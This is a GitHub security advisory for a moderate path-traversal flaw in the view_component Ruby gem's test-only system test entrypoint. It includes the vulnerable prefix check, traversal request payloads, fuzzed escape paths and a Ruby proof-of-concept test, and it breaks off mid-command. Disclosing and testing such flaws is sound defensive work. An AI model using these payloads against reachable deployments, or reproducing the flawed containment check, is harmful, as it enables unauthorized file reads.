GitHub Security Advisory: GHSA-hg3h-g7xc-f7vp
Package: view_component (RUBYGEMS)
Severity: MODERATE (CVSS 5.9)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 3.0.0, < 4.9.0
Patched in: 4.9.0

Summary: view_component: System Test Entry Point Path Check Allows Sibling Directory Escape

Details:
### Summary

The system test entrypoint canonicalizes a user-controlled file path with `File.realpath`, then checks whether the resolved path starts with the temp directory path. This is not a safe containment check because sibling directories can share the same string prefix.

Severity: Medium; test-route scoped.

Example:

```text
Allowed base:  /app/tmp/view_components
Outside path:  /app/tmp/view_components_evil/secret.html.erb
```

The outside path is not inside the base directory, but it passes:

```ruby
@path.start_with?(base_path)
```

### Relevant Code

`app/controllers/view_components_system_test_controller.rb`:

```ruby
base_path = ::File.realpath(self.class.temp_dir)
@path = ::File.realpath(params.permit(:file)[:file], base_path)
raise ViewComponent::SystemTestControllerNefariousPathError unless @path.start_with?(base_path)
```

The route then renders the resolved file:

```ruby
render file: @path
```

### Exploit Flow

Example request:

```text
GET /_system_test_entrypoint?file=../view_components_evil/secret.html.erb
```

Flow:

1. `base_path` resolves to `.../tmp/view_components`.
2. The payload resolves to `.../tmp/view_components_evil/secret.html.erb`.
3. That path is outside the intended temp directory.
4. The string prefix check still passes.
5. Rails renders the sibling file.

The route is mounted only in `Rails.env.test?`, which is why Medium is more appropriate than P1. The issue matters if test routes are reachable in shared CI, staging, review apps, or any accidentally exposed test-mode deployment.

### Targeted Fuzz Result

The following sibling paths passed an equivalent `realpath` plus `start_with?` harness while resolving outside the base directory:

```text
../view_components_evil/secret.html
../view_components2/poc.html
../view_components.bak/poc.html
../view_components-old/poc.html
../view_componentsx/poc.html
```

### PoC Test

Create `test/sandbox/test/system_test_entrypoint_path_traversal_poc_test.rb`:

```ruby
# frozen_string_literal: true

require "test_helper"
require "fileutils"

class SystemTestEntrypointPathTraversalPocTest < ActionDispatch::IntegrationTest
  def test_system_test_entrypoint_allows_sibling_directory_with_same_prefix
    base_dir = File.realpath(ViewComponentsSystemTestController.temp_dir)
    parent_dir = File.dirname(base_dir)
    sibling_dir = File.join(parent_dir, "#{File.basename(base_dir)}_evil")
    outside_file = File.join(sibling_dir, "secret.html.erb")

    FileUtils.mkdir_p(sibling_dir)
    File.write(outside_file, "<div>VC_SYSTEM_TEST_TRAVERSAL_POC</div>")

    get "/_system_test_entrypoint", params: {
      file: "../#{File.basename(base_dir)}_evil/secret.html.erb"
    }

    assert_response :success
    assert_includes response.body, "VC_SYSTEM_TEST_TRAVERSAL_POC"
  ensure
    FileUtils.rm_f(outside_file) if defined?(outside_file) && outside_file
    Dir.rmdir(sibling_dir) if defined?(sibling_dir) && sibling_dir && Dir.exist?(sibling_dir)
  end
end
```

Run:

```bash
bundle exec